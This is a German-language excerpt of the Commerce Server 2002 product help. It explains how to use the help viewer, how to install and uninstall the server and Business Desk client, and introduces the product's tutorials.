  • Erstellen von Lesezeichen für ein Hilfethema. Erklärt, wie Sie Lesezeichen erstellen, um Hilfethemen schnell wieder finden zu können.
  • Drucken eines Hilfethemas. Erklärt, wie Sie ein oder mehrere Themen gleichzeitig drucken.
  • Kopieren eines Hilfethemas. Erklärt, wie Sie Hilfethemen kopieren und in andere Dokumente einfügen.
  • Verwenden von Sprachfiltern. Erklärt, wie Sie die Sprachfilterung verwenden, um Beispielcode in C++ oder Microsoft Visual Basic anzuzeigen.
  • Tastenkombinationen des Hilfe-Viewers. Listet die Tastenkombinationen für die Verwendung des Hilfe-Viewers auf.
  • Weitere Ressourcen. Listet Informationsressourcen auf, die neben der Commerce Server-Hilfe zur Verfügung stehen.


Informationen zur Commerce Server-Hilfe

Die Commerce Server 2002-Hilfe ist so aufgebaut, dass Benutzer die Informationen schnell finden können, die sie für die effektive Verwaltung oder Entwicklung einer E-Commerce-Site benötigen.

Struktur des Hilfesystems

Hilfe für Entwickler

Business Desk-Hilfe

Struktur des Hilfesystems

Das Inhaltsverzeichnis ist in mehrere Bücher gegliedert, von denen jedes einem Hauptfunktionsbereich des Produkts entspricht. Die Knoten oder Kapitel der einzelnen Bücher entsprechen wichtigen Aufgaben in dem jeweiligen Bereich oder erklären Schlüsselkonzepte oder -technologien, die Sie zur Durchführung dieser Aufgaben verstehen müssen.

In der folgenden Tabelle werden die Commerce Server-Bücher aufgeführt und einzeln beschrieben.

Buch | Beschreibung | Benutzer
Erste Schritte | Beschreibt die Features, Tools und Konzepte von Commerce Server. Erläutert die Planung einer Commerce Server-Site und enthält einen Hyperlink zu den Installationsanweisungen. | Alle Benutzer von Commerce Server
Developer's Guide (englisch) | Erklärt, wie Sie Ihre Entwicklungsumgebung einrichten, mit Commerce Server-Objekten programmieren, Pipelines anpassen sowie Commerce Server in andere Anwendungen integrieren. | Siteentwickler
Bereitstellen der Site | Erläutert, wie Sie mit Site Packager eine Site bereitstellen, die SQL Server oder Active Directory verwendet, und wie Sie inkrementelle Aktualisierungen der Site durchführen. Erklärt, wie Sie Ihre Site sichern. Enthält zwei detaillierte Beispiele zur Installation von Commerce Server in einer Clusterkonfiguration mit vier Computern sowie in einer Konfiguration mit drei Computern ohne Cluster. | Systemadministratoren
Verwalten von Commerce Server | Beschreibt die Ressourcen, Sites, Anwendungen, den Webserver sowie die Verwaltungsdatenbank von Commerce Server und erklärt deren Verwaltung. Erläutert die Verwaltung von Profilen, CS-Authentifizierung, Direct Mailer, und Data Warehouse. Erklärt, wie Commerce Server für die Verwendung von BizTalk Server eingerichtet wird. | Systemadministratoren
Arbeiten mit Business Desk | Erklärt, wie Sie Ihre Site mit Business Desk verwalten. Enthält ein Lernprogramm mit Übungen zur Verwaltung einer Business-To-Consumer-Site und einer Business-To-Business-Site. | Businessmanager
Extending Commerce Server (englisches Thema) | Erklärt, wie Sie benutzerdefinierte Ressourcen in Commerce Server integrieren sowie neue Business Desk-Module und neue Pipelinekomponenten erstellen. Erklärt, wie wie die Integration mit Produktkatalogen von Drittanbietern sowie mit Microsoft Passport erfolgt. | Siteentwickler
Programmer's Reference (englisches Thema) | Stellt umfangreiches Referenzmaterial über Component Object Model (COM)-Komponenten und ihre Funktionen in Commerce Server zur Verfügung. | Siteentwickler
Problembehandlung bei Commerce Server | Beschreibt Symptome und Lösungen von Problemen, die bei der Verwendung von Commerce Server unter Umständen auftreten können. | Systemadministratoren und Siteentwickler
Glossar | Definiert Begriffe, die in Commerce Server häufig verwendet werden. | Alle Benutzer von Commerce Server

In jedem Buch befinden sich Knoten, die auf folgende Informationstypen verweisen:

  • Workflowdiagramme. In jeder Dokumentation einer Business Desk-Kategorie befinden sich eine Abbildung der Haupttasks dieses Funktionsbereiches sowie Verknüpfungen zu den Task-Themen, die schrittweise Anleitungen zum Durchführen dieser Tasks bereitstellen.
  • Erste Schritte. Enthält Erste Schritte-Hilfethemen sowohl für Commerce Server als auch für Business Desk.
  • Standardthemen. Diese Themen beschreiben allgemeine Tasks und enthalten Navigationsinformationen zur Verwendung von Business Desk, Commerce Server-Manager und Pipelines.
  • Konzepte. In den Business Desk-Themen und an anderen Stellen weisen mit "Informationen zu" beginnende Titel auf Themen hin, in denen Schlüsselkonzepte für die erfolgreiche Verwendung von Commerce Server und seinen Komponenten erklärt werden.
  • Tasks. Die Task-Themen stellen schrittweise Anleitungen zum erfolgreichen Beenden der im Workflow angezeigten Tasks bereit.

Hilfe für Entwickler

Damit Sie ausschließlich die für Ihre Programmierumgebung relevanten Informationen finden, wird in der Commerce Server 2002-Hilfe ein Tool zur Sprachfilterung eingesetzt. In der Titelleiste der in Programmer's Reference (englisches Thema) enthaltenen Themen befindet sich eine Filterschaltfläche mit einem Sprachmenü. In diesem Menü können Sie auswählen, ob die Dokumentation für Visual C++ oder für Visual Basic angezeigt werden soll. Nachdem Sie eine Sprache ausgewählt haben, bleibt diese Auswahl auch für nachfolgende Seiten in Kraft.

Zusätzlich zur Hilfe stehen Entwicklern folgende Informationen zur Verfügung:

  • Commerce Server Software Development Kit (SDK). Enthält Codebeispiele und eine Dokumentation zur Entwicklung von E-Commerce-Lösungen mit Commerce Server. Es wird z. B. erklärt, wie Sie Codes für verwandte Verkaufstypen (wie Up-Selling, Cross-Selling und Inventarverkäufe) entwickeln. Das SDK wird mit Commerce Server 2002 installiert.

    Um auf das SDK zuzugreifen, klicken Sie auf Start, zeigen auf Programme und Microsoft Commerce Server 2002 und klicken anschließend auf Software Development Kit.

  • Commerce Server 2000 Resource Kit. Enthält detaillierte Informationen über das Planen, Entwickeln, Bereitstellen, Skalieren und Optimieren Ihrer Commerce Server-Installation. Commerce Server 2000 Resource Kit wird von Microsoft Press herausgegeben.

Business Desk-Hilfe

Das Business Desk-Hilfesystem ist ein Teil des Commerce Server 2002-Hilfesystems. Benutzer von Business Desk haben Zugriff auf die in dem Buch Arbeiten mit Business Desk enthaltene Hilfe. Allerdings haben sie über ihren Clientcomputer keinen Zugriff auf weitere Commerce Server-Bücher.

Um von Business Desk aus Zugriff auf die Hilfe zu erhalten, klicken Sie auf der Symbolleiste auf das Symbol Business Desk-Hilfe.


Commerce Server-Lernprogramme

Im Lieferumfang von Commerce Server sind die folgenden Lernprogramme enthalten:

  • Commerce Server .NET Application Framework Tutorial (englisches Thema).
  • Direct Mailer-Lernprogramm.
  • Business Desk Business-To-Consumer-Lernprogramm.
  • Business Desk Business-To-Business-Lernprogramm.
  • Exploring the International Retail Site (englisches Thema).


Verwenden des Hilfe-Viewers

Das Commerce Server 2002-Hilfesystem verwendet zum Formatieren und Anzeigen von Informationen das HTML-Format. Im Hilfe-Viewer befinden sich ein Inhaltsverzeichnis, ein Index und eine Volltextsuche, die das Finden von Informationen sehr vereinfachen. Buchsymbole zeigen untergeordnete Bücher und Themen an.

Klicken Sie auf das Erweiterungssymbol (+) neben dem Buchtitel, um das Inhaltsverzeichnis zu erweitern und Themen des Buches anzuzeigen. Wenn Sie auf das Reduktionssymbol klicken (-), werden die Themen ausgeblendet. Mit dem Hilfe-Viewer können Sie neben dem Hilfethema auch gleichzeitig Inhaltsverzeichnis, Index sowie Suchergebnisse anzeigen.

Ebenso beinhaltet der Hilfe-Viewer auch die Registerkarte Favoriten, welche Sie zum Erstellen von Lesezeichen für Themen verwenden können. So können Sie schnell die Themen anzeigen, auf die Sie häufig zurückgreifen.

Um mehr über Commerce Server zu erfahren, können Sie mithilfe des Inhaltsverzeichnisses die Dokumentation durchsuchen. Wenn Sie im Inhaltsverzeichnis auf ein Thema klicken, werden die Informationen im Inhaltsbereich des Hilfefensters angezeigt.

Im Hilfe-Viewer stehen folgende Suchfunktionen zur Verfügung:

  • Registerkarte "Inhalt"
    1. Klicken Sie auf die Registerkarte Inhalt, um das Inhaltsverzeichnis zu durchsuchen. Doppelklicken Sie auf die Buchsymbole, um Themeneinträge und untergeordnete Bücher anzuzeigen.
    2. Klicken Sie auf einen Eintrag im Inhaltsverzeichnis, um das entsprechende Thema anzuzeigen.
  • Registerkarte "Index"
    1. Um eine Liste von Indexeinträgen anzuzeigen, klicken Sie auf die Registerkarte Index, und geben Sie dann ein Wort ein bzw. scrollen Sie durch die Liste. Ein Thema ist oftmals in mehr als einem Indexeintrag zu finden.
    2. Doppelklicken Sie auf einen Indexeintrag, um das entsprechende Thema anzuzeigen.
  • Registerkarte "Suchen"
    1. Klicken Sie auf die Registerkarte Suchen, geben Sie das gesuchte Wort bzw. den Ausdruck ein, und klicken Sie dann auf Themen auflisten, um alle vorhandenen Einträge zu finden. Um die Suche einzugrenzen, können Sie mehrere Wörter bzw. Ausdrücke mit AND, OR, NEAR oder NOT kombinieren.
    2. Doppelklicken Sie auf ein Suchergebnis, um das entsprechende Thema ausführlich anzuzeigen.

    Weitere Informationen über das Suchen nach Themen finden Sie unter Suchen nach einem Hilfethema.

  • Registerkarte "Favoriten"
    1. Sie können ein Lesezeichen für ein Thema mithilfe der Registerkarten Inhalt, Index oder Suchen erstellen. Mit dem Lesezeichen können Sie dann das Thema finden und anzeigen.
    2. Klicken Sie auf die Registerkarte Favoriten und dann auf Hinzufügen, um eine Themenüberschrift in der Liste Themen zu speichern.
    3. Doppelklicken Sie auf ein Lesezeichen in der Liste Themen, um ein Thema schnell anzuzeigen.

Siehe auch

Suchen nach einem Hilfethema

Erstellen von Lesezeichen für ein Hilfethema

Drucken eines Hilfethemas

Kopieren eines Hilfethemas

Verwenden von Sprachfiltern

Tastenkombinationen des Hilfe-Viewers


Suchen nach einem Hilfethema

  1. Klicken Sie auf die Registerkarte Suchen, geben Sie das gesuchte Wort ein, und klicken Sie dann auf Themen auflisten, um alle vorhandenen Einträge zu finden.
  2. Wenn Sie nach einem bestimmten Ausdruck suchen, geben Sie den Ausdruck in Anführungszeichen ein. Beispiel: Mit der Eingabe "der Computer und Monitor" finden Sie die Themen, die den Ausdruck der Computer und Monitor enthalten.
  3. Um die Suche einzugrenzen, können Sie mehrere Wörter bzw. Ausdrücke mit AND, OR, NEAR oder NOT kombinieren.

    Zum Beispiel:

    • Mit der Suche nach Computer AND Monitor finden Sie Themen, die sowohl Computer als auch Monitor enthalten.
    • Mit der Suche nach Computer OR Monitor finden Sie Themen, die Computer oder Monitor enthalten.
    • Mit der Suche nach Computer NEAR Monitor finden Sie Themen, in denen Computer und Monitor nahe beieinander stehen.
    • Mit der Suche nach Computer NOT Monitor finden Sie Themen, die das Stichwort Computer, jedoch nicht das Stichwort Monitor enthalten.
  4. Doppelklicken Sie auf ein Suchergebnis, um das entsprechende Thema ausführlich anzuzeigen.

Siehe auch

Erstellen von Lesezeichen für ein Hilfethema

Drucken eines Hilfethemas

Kopieren eines Hilfethemas

Verwenden von Sprachfiltern

Tastenkombinationen des Hilfe-Viewers


Erstellen von Lesezeichen für ein Hilfethema

  1. Verwenden Sie die Registerkarten Inhalt, Index oder Suchen, um das Thema zu finden und anzuzeigen, für welches Sie ein Lesezeichen erstellen möchten.
  2. Klicken Sie auf die Registerkarte Favoriten und dann auf Hinzufügen.

Der Hilfe-Viewer fügt die Themenüberschrift der Liste Themen hinzu. Sie können später in der Liste auf das Lesezeichen doppelklicken, um das Thema anzuzeigen.

Hinweise

  • Sie können eine Liste mit häufig benötigten Hilfethemen erstellen.
  • Um ein Lesezeichen aus der Liste Themen zu entfernen, klicken Sie auf das Lesezeichen und dann auf Entfernen.

Siehe auch

Suchen nach einem Hilfethema

Drucken eines Hilfethemas

Kopieren eines Hilfethemas

Verwenden von Sprachfiltern

Tastenkombinationen des Hilfe-Viewers


Drucken eines Hilfethemas

  • Klicken Sie mit der rechten Maustaste auf das Thema, das Sie drucken möchten. Klicken Sie dann auf Drucken.
  • Wenn Sie ein Popupthema drucken möchten, klicken Sie mit der rechten Maustaste in das Popupfenster, und klicken Sie dann auf Drucken.
  • Um alle Themen eines Buches zu drucken, wählen Sie das entsprechende Buch auf der Registerkarte Inhalt. Klicken Sie auf der Hilfesymbolleiste erst auf Optionen, klicken Sie dann auf Drucken und schließlich auf Ausgewähltes Thema und alle Unterthemen drucken.

Hinweise

  • Beim Ausdrucken eines Abschnitts, der mehrere Themen mit mehreren Illustrationen beinhaltet, werden die Illustrationen nicht gedruckt.
  • Codebeispiele und große Illustrationen werden möglicherweise unvollständig gedruckt. Wenn eine Codezeile sehr lang bzw. eine Illustration sehr groß ist, ragt das rechte Ende des Codes bzw. der rechte Rand der Illustration über den Seitenrand hinaus und wird nicht gedruckt.

Siehe auch

Erstellen von Lesezeichen für ein Hilfethema

Suchen nach einem Hilfethema

Kopieren eines Hilfethemas

Verwenden von Sprachfiltern

Tastenkombinationen des Hilfe-Viewers


Kopieren eines Hilfethemas

  1. Klicken Sie im Themenbereich des Hilfe-Viewers mit der rechten Maustaste auf das zu kopierende Thema. Klicken Sie dann auf Alles auswählen.
  2. Klicken Sie im Thema nochmals mit der rechten Maustaste, und klicken Sie dann auf Kopieren.
  3. Öffnen Sie das Dokument, in welches das Thema kopiert werden soll.
  4. Klicken Sie auf den Bereich Ihres Dokuments, in welchem die Informationen angezeigt werden sollen.
  5. Klicken Sie im Menü Bearbeiten auf Einfügen.

Hinweise

  • Wenn Sie nur einen Teil eines Themas kopieren möchten, markieren Sie den zu kopierenden Abschnitt, klicken Sie mit der rechten Maustaste auf den markierten Bereich, und klicken Sie dann auf Kopieren.
  • Die Nummerierung der einzelnen Schritte wird nicht in die Zwischenablage kopiert.

Siehe auch

Drucken eines Hilfethemas

Erstellen von Lesezeichen für ein Hilfethema

Suchen nach einem Hilfethema

Verwenden von Sprachfiltern

Tastenkombinationen des Hilfe-Viewers


Verwenden von Sprachfiltern

Die Commerce Server-Hilfe implementiert ein Sprachfilterungstool, damit Sie nur die Ihre Programmierumgebung betreffenden Informationen finden. In der Titelleiste der in Programmer's Reference (nur auf Englisch verfügbar) enthaltenen Themen befindet sich eine Filterschaltfläche mit einem Sprachmenü. In diesem Menü können Sie je nach dem Inhalt der Seite auswählen, ob die Dokumentation für Visual C++, C# oder Visual Basic .NET angezeigt werden soll. Nachdem Sie eine Sprache ausgewählt haben, bleibt diese Auswahl auch für nachfolgende Seiten in Kraft.

Um die Optionen der Sprachfilterung anzuzeigen, klicken Sie in der Titelleiste erst auf die Filterschaltfläche und dann auf eine der folgenden Optionen:

  • C++
  • Visual Basic
  • C#
  • Visual Basic .NET

Siehe auch

Drucken eines Hilfethemas

Erstellen von Lesezeichen für ein Hilfethema

Suchen nach einem Hilfethema

Tastenkombinationen des Hilfe-Viewers

Kopieren eines Hilfethemas

Weitere Ressourcen


Tastenkombinationen des Hilfe-Viewers

Wenn Ihre Maus nicht verfügbar ist oder Sie es vorziehen, die Tastatur zu verwenden, können Sie mit folgenden Tastenkombinationen durch den Hilfe-Viewer navigieren.

Tastenkombinationen des Hilfe-Viewers

Tastenkombination | Funktion
ALT+LEERTASTE | Anzeigen des Systemmenüs.
UMSCHALT+F10 Anzeigen des Kontextmenüs für den Hilfe-Viewer.

Hinweis

  • Verwenden Sie diese Tastenkombination, wenn der Fokus sich im Themenbereich befindet.
ALT+TAB | Wechseln zwischen dem Hilfe-Viewer und anderen Fenstern.
ALT+O | Anzeigen des Menüs Optionen.
ALT+O und dann T | Ausblenden bzw. Einblenden des Navigationsbereichs.
STRG+TAB | Wechseln zur nächsten Registerkarte im Navigationsbereich.
STRG+UMSCHALT+TAB | Wechseln zur vorherigen Registerkarte im Navigationsbereich.
NACH-OBEN-TASTE | In Inhaltsverzeichnis, Index oder Suchergebnisliste ein Thema nach oben wechseln.
NACH-UNTEN-TASTE | In Inhaltsverzeichnis, Index oder Suchergebnisliste ein Thema nach unten wechseln.
BILD-AUF | In Inhaltsverzeichnis, Index oder Suchergebnisliste eine Seite nach oben wechseln.
BILD-AB | In Inhaltsverzeichnis, Index oder Suchergebnisliste eine Seite nach unten wechseln.
F6 | Wechseln des Fokus im Navigations- bzw. Themenbereich.
ALT+O und dann R | Aktualisieren des Themas, das im Themenbereich angezeigt wird.
NACH-OBEN-TASTE oder NACH-UNTEN-TASTE | Bildlauf durch ein Thema.
STRG+POS1 | An den Anfang eines Themas wechseln.
STRG+ENDE | An das Ende eines Themas wechseln.
STRG+A | Markieren des gesamten Textes im Themenbereich.
ALT+O und dann P | Drucken eines Themas.
ALT+O und dann B | Wechseln zum zuvor angezeigten Thema.
ALT+O und dann F | Wechseln zum nächsten (zuvor angezeigten) Thema.
ALT+F4 | Schließen des Hilfe-Viewers.

Tastenkombinationen der Registerkarte "Inhalt"

Tastenkombination | Funktion
ALT+C | Anzeigen der Registerkarte Inhalt.
NACH-RECHTS-TASTE | Öffnen eines Buches.
NACH-LINKS-TASTE | Schließen eines Buches.
RÜCKTASTE | Zurückwechseln zu dem zuvor geöffneten Buch.
NACH-OBEN-TASTE oder NACH-UNTEN-TASTE | Auswählen eines Themas.
EINGABETASTE | Anzeigen des ausgewählten Themas.

Tastenkombinationen der Registerkarte "Index"

Tastenkombination | Funktion
ALT+N | Anzeigen der Registerkarte Index.
NACH-OBEN-TASTE oder NACH-UNTEN-TASTE | Auswählen eines Stichworts in der Liste.
ALT+D oder EINGABETASTE | Anzeigen des zugeordneten Themas.

Tastenkombinationen der Registerkarte "Suchen"

Tastenkombination | Funktion
ALT+S | Anzeigen der Registerkarte Suchen.
ALT+L | Starten einer Suche.
ALT+D oder EINGABETASTE | Anzeigen des ausgewählten Themas.

Tastenkombinationen der Registerkarte "Favoriten"

Tastenkombination | Funktion
ALT+I | Anzeigen der Registerkarte Favoriten.
ALT+C | Hinzufügen eines Themas zur Liste Themen.
ALT+P Auswählen eines Themas in der Liste Themen.

Hinweis

  • Verwenden Sie diese Tastenkombination, wenn der Fokus sich im Themenbereich befindet und Sie in die Liste Themen wechseln möchten.
ALT+R | Löschen eines Themas in der Liste Themen.
ALT+D | Anzeigen eines Themas in der Liste Themen.

Siehe auch

Drucken eines Hilfethemas

Erstellen von Lesezeichen für ein Hilfethema

Suchen nach einem Hilfethema

Verwenden von Sprachfiltern

Kopieren eines Hilfethemas


Weitere Ressourcen

Zusätzlich zum Commerce Server 2002-Hilfesystem stehen die folgenden Informationsquellen zur Verfügung:

  • Das Software Development Kit (SDK), das sich im Ordner Programme\Microsoft Commerce Server\SDK befindet.
  • Das Commerce Server Resource Kit, in Buchform bei Microsoft Press erhältlich.
  • Commerce Server-Website.


Installieren von CommerceServer2002

Feedback zu dieser Seite senden Commerce Server 2002

Installieren von Commerce Server 2002

Anweisungen zur Installation von Commerce Server finden Sie im Commerce Server 2002-Installationshandbuch.

Der Business Desk Client von Commerce Server muss auf allen Computern installiert werden, von denen aus auf Business Desk zugegriffen werden soll, einschließlich des Computers, auf dem Commerce Server ausgeführt wird. Nach dem Entpacken einer Site können Sie den Business Desk Client installieren. Rufen Sie hierfür den URL der Business Desk-Anwendung auf.

Businessmanager haben außerdem die Möglichkeit, den Business Desk Client zu downloaden. Informationen zur Installation des Business Desk Client finden Sie im Commerce Server 2002-Installationshandbuch.


Deinstallieren von Commerce Server

Dieser Abschnitt enthält Informationen zur Deinstallation von Commerce Server 2002 und dem Business Desk Client. Anweisungen zur Installation von Commerce Server finden Sie im Commerce Server 2002-Installationshandbuch.

Dieser Abschnitt beinhaltet folgende Themen:

  • Deinstallieren von Commerce Server 2002. Erläutert das Deinstallieren von Commerce Server 2002, Commerce Server-Datenbanken, virtuellen Siteverzeichnissen sowie Siteverzeichnissen und -dateien.
  • Deinstallieren des Business Desk Clients. Erläutert, wie der Business Desk Client deinstalliert wird.


Deinstallieren von CommerceServer2002

Feedback zu dieser Seite senden Commerce Server 2002

Deinstallieren von Commerce Server 2002

Zum Deinstallieren von Commerce Server 2002 müssen Sie die folgenden Schritte in der angegebenen Reihenfolge ausführen. Detaillierte Anweisungen zu den einzelnen Schritten folgen anschließend.

  • Schritt 1: Entfernen der Commerce Server 2002-Lösungssites. Führen Sie diesen Schritt aus, um die leere Lösungssite oder andere Lösungssites zu entfernen, die Sie von http://go.microsoft.com/fwlink/?LinkId=6767 gedownloadet haben. Bei diesem Schritt werden die Lösungssites aus dem Ordner Microsoft Commerce Server\PuP Packages entfernt. Danach lassen sich diese Sites nicht mehr entpacken. Die bereits entpackten Lösungssites werden dabei nicht entfernt.
  • Schritt 2: Entfernen der Commerce Server 2002-Plattform. Führen Sie diesen Schritt aus, um die Laufzeitobjekte, Verwaltungstools, die globale Ressource für den Vorhersagedienst sowie die globale Ressource für Direct Mailer von Commerce Server zu entfernen.
  • Schritt 3: Löschen des Commerce Server 2002-Installationsordners.
  • Schritt 4: Löschen der Commerce Server 2002-Datenbank. Beispielsweise die Verwaltungsdatenbank, Data Warehouse-Datenbank, Profildatenbank und die Katalogdatenbank.
  • Schritt 5: Löschen der Analysis-Server-Datenbanken von Commerce Server 2002.
  • Schritt 6: Löschen der virtuellen Siteverzeichnisse von Commerce Server 2002. Diesen Schritt brauchen Sie nur durchzuführen, wenn Sie eine Site entpackt haben.
  • Schritt 7: Löschen des ISAPI-Filters (CSAuthFilter) aus Internetinformationsdienste. Führen Sie diesen Schritt nur durch, wenn Sie den Autocookiemodus aktiviert haben oder eine andere Einstellung für den Authentifizierungsfilter bei einer Commerce-Anwendung verwenden als von den Lösungssites vorgegeben.
  • Schritt 8: Löschen der Siteordner und -dateien von Commerce Server 2002. Diesen Schritt brauchen Sie nur durchzuführen, wenn Sie eine Site entpackt haben.
  • Schritt 9: Löschen der Direktsendungsaufträge in SQL Server. Führen Sie diesen Schritt nur durch, wenn Sie Direct Mailer installiert und Direktsendungsaufträge erstellt haben. Wenn Sie diesen Schritt nicht ausführen und Direct Mailer zu einem späteren Zeitpunkt erneut installieren, werden die Direktsendungsaufträge der vorherigen Installation erneut aktiviert.

Es empfiehlt sich, den Computer nach dem Ausführen dieser Schritte neu zu starten.

Die folgenden Vorgehensweisen enthalten detaillierte Anweisungen zum Ausführen der einzelnen Schritte.

Schritt 1: Entfernen der Commerce Server 2002-Lösungssites

  1. Klicken Sie auf Start, zeigen Sie auf Einstellungen, und klicken Sie dann auf Systemsteuerung.
  2. Doppelklicken Sie auf Software.
  3. Wählen Sie im Dialogfeld Software den Eintrag für die Commerce Server-Lösungssites. Klicken Sie anschließend auf Entfernen.
  4. Klicken Sie im Dialogfeld Software auf Ja, um zu bestätigen, dass Sie die Commerce Server-Lösungssites entfernen möchten.

Schritt 2: Entfernen der Commerce Server 2002-Plattform

  1. Klicken Sie auf Start, zeigen Sie auf Einstellungen, und klicken Sie dann auf Systemsteuerung.
  2. Doppelklicken Sie auf Software.
  3. Wählen Sie im Dialogfeld Software den Eintrag für Commerce Server 2002. Klicken Sie anschließend auf Entfernen.
  4. Klicken Sie im Dialogfeld Software auf Ja, um zu bestätigen, dass Sie Commerce Server 2002 entfernen möchten.
  5. Klicken Sie ggf. auf Ja, um Ihren Computer neu zu starten.

Schritt 3: Löschen des Commerce Server 2002-Installationsordners

  1. Rufen Sie im Windows-Explorer den Ordner auf, in dem Commerce Server installiert ist (z. B. C:\Programme\Microsoft Commerce Server).
  2. Klicken Sie mit der rechten Maustaste auf den zu löschenden Ordner. Klicken Sie dann auf Löschen.
  3. Klicken Sie im Dialogfeld Löschen von Ordnern bestätigen auf Ja, um den Löschvorgang zu bestätigen.

Schritt 4: Löschen der Commerce Server 2002-Datenbanken

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server 2000, und klicken Sie auf Enterprise Manager.

    Hinweis

    • Stellen Sie in SQL Server Enterprise Manager sicher, dass SQL Server ausgeführt wird (das Symbol im Enterprise Manager-Fenster ist grün). Falls SQL Server nicht ausgeführt wird, klicken Sie mit der rechten Maustaste auf den SQL Server-Computer und dann auf Start.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Microsoft SQL Servers\SQL Server Group\SQL Server Name\Databases.
  3. Klicken Sie mit der rechten Maustaste auf die zu löschende Datenbank. Klicken Sie dann auf Löschen.
  4. Klicken Sie im Dialogfeld Datenbank löschen auf OK, um zu bestätigen, dass Sie die Datenbank löschen möchten.
  5. Wiederholen Sie die Schritte 3 und 4 für jede Datenbank, die Sie löschen möchten.

Schritt 5: Löschen der Analysis-Server-Datenbanken von Commerce Server 2002

  1. Klicken Sie auf Start, zeigen Sie auf Programme, Microsoft SQL Server, Analysis Services, und klicken Sie dann auf Analysis-Manager.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Analysis Servers\SQL Server Name.
  3. Klicken Sie mit der rechten Maustaste auf die zu löschende Datenbank. Klicken Sie dann auf Löschen.
  4. Klicken Sie im Dialogfeld Datenbank löschen auf OK, um zu bestätigen, dass Sie die Datenbank löschen möchten.

Schritt 6: Löschen der virtuellen Siteverzeichnisse von Commerce Server 2002

  1. Klicken Sie auf Start, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Computername\IIS-Websitename.
  3. Klicken Sie mit der rechten Maustaste auf die zu löschenden virtuellen Verzeichnisse (z. B. Retail oder Supplier). Klicken Sie dann auf Löschen.
  4. Klicken Sie im Dialogfeld Löschen von Ordnern bestätigen auf Ja, um den Löschvorgang für jedes zu entfernende virtuelle Verzeichnis zu bestätigen.
  5. Wiederholen Sie die Schritte 3 und 4 für jedes virtuelle Verzeichnis, das Sie löschen möchten.

Schritt 7: Löschen des ISAPI-Filters (CSAuthFilter) aus Internetinformationsdienste

  1. Klicken Sie auf Start, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Computername\IIS-Websitename> (beispielsweise CSServer1\Standardwebsite).
  3. Klicken Sie mit der rechten Maustaste auf die IIS-Website, und klicken Sie dann auf Eigenschaften.
  4. Klicken Sie im Dialogfeld Eigenschaften von <Website> auf die Registerkarte ISAPI Filter, wählen Sie CSAuthFilter, klicken Sie auf Entfernen, und klicken Sie anschließend auf OK.

Schritt 8: Löschen der Siteordner und -dateien von Commerce Server 2002

  1. Wechseln Sie im Windows-Explorer in das Verzeichnis, in dem die Sitedateien installiert wurden (z. B. C:\Inetpub\wwwroot).
  2. Klicken Sie mit der rechten Maustaste auf den zu löschenden Ordner. Klicken Sie dann auf Löschen.
  3. Klicken Sie im Dialogfeld Löschen von Ordnern bestätigen auf Ja, um den Löschvorgang für jeden zu entfernenden Ordner zu bestätigen.
  4. Wiederholen Sie die Schritte 2 und 3 für jeden Ordner, den Sie löschen möchten.

Schritt 9: Löschen der Direktsendungsaufträge in SQL Server

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server 2000, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Microsoft SQL Server\SQL Server-Gruppe\SQL Server-Name\Verwaltung\SQL Server-Agent\Aufträge.

    Die Direktsendungsaufträge werden im rechten Bereich von SQL Server Enterprise Manager angezeigt.

  3. Wählen Sie die zu löschenden Direktsendungsaufträge, und klicken Sie dann auf der Symbolleiste auf die Schaltfläche Löschen.

Es empfiehlt sich, den Computer nach dem Ausführen dieser Schritte neu zu starten.

Siehe auch

Deinstallieren des Business Desk Clients


Deinstallieren des Business Desk Clients

So deinstallieren Sie den Business Desk Client

  1. Klicken Sie auf Start, zeigen Sie auf Einstellungen, und klicken Sie dann auf Systemsteuerung.
  2. Doppelklicken Sie auf Software.
  3. Wählen Sie den Eintrag Commerce Server 2002 Business Desk (Anwendungsname), und klicken Sie auf Ändern/Entfernen.
  4. Klicken Sie im Dialogfeld Software auf Ja, um zu bestätigen, dass Sie Commerce Server 2002 Business Desk entfernen möchten.

Der Business Desk Client wird nun von Ihrem Computer entfernt.

Siehe auch

Installieren von Commerce Server 2002

Deinstallieren von Commerce Server 2002


Commerce Server-Lernprogramme

Im Lieferumfang von Commerce Server sind die folgenden Lernprogramme enthalten:

  • Direct Mailer-Lernprogramm. Enthält schrittweise Anleitungen zum Erstellen einer Direktsendungskampagne.
  • Business-To-Consumer-Lernprogramm. Erläutert die Einsatzmöglichkeiten von Business Desk zur Ausführung von Schlüsselaufgaben bei der Verwaltung von B2C-(Business-to-Consumer-) und B2B-(Business-to-Business-)Websites.
  • Business-To-Business-Lernprogramm. Erläutert die Einsatzmöglichkeiten von Business Desk zur Ausführung von Schlüsselaufgaben bei der Verwaltung von B2C- und B2B-Websites.
  • Commerce Server Developer Tutorials (englisches Thema) Listet die Commerce Server-Lernprogramme für Entwickler auf.


Geschlossene CommerceServer-Systeme

Feedback zu dieser Seite senden Commerce Server 2002

Geschlossene Commerce Server-Systeme

In diesem Lernprogramm geht es um geschlossene Geschäftsanalyse-, Zielgruppenadressierungs- und Profilsysteme auf der Basis von Commerce Server.

Mithilfe des Microsoft Commerce Server 2002-Geschäftsanalysesystems können Sie Daten erfassen und analysieren, Berichte ausführen und entsprechende Vorhersagen treffen. Das Commerce Server-Zielgruppenadressierungssystem ermöglicht das Personalisieren von Inhalten und gezielte Ausführen von Marketingkampagnen für Benutzer, die Ihre Website besuchen. Das Commerce Server-Profilsystem schließlich dient dem Erstellen von Profilen für die Verwaltung von Kunden und Handelspartnern bei der Sitenutzung und -Personalisierung.

Nachstehend finden Sie eine Übersicht über die wichtigsten Features der Geschäftsanalyse-, Zielgruppenadressierungs- und Profilsysteme.

Geschäftsanalysesystem Zielgruppenadressierungssystem
Profilsystem
  • Verwalten Sie mehrere Millionen Benutzer und Organisationen.
  • Ermöglichen Sie es den Benutzern, ihre eigenen Profilinformationen zu verwalten und den Bestellstatus zu verfolgen.
  • Erstellen Sie Profile für beliebige unternehmensrelevante Größen, z. B. Benutzer und Organisationen.
  • Legen Sie fest, welche Informationen Sie über Benutzer sammeln möchten, die Ihre Site besuchen.
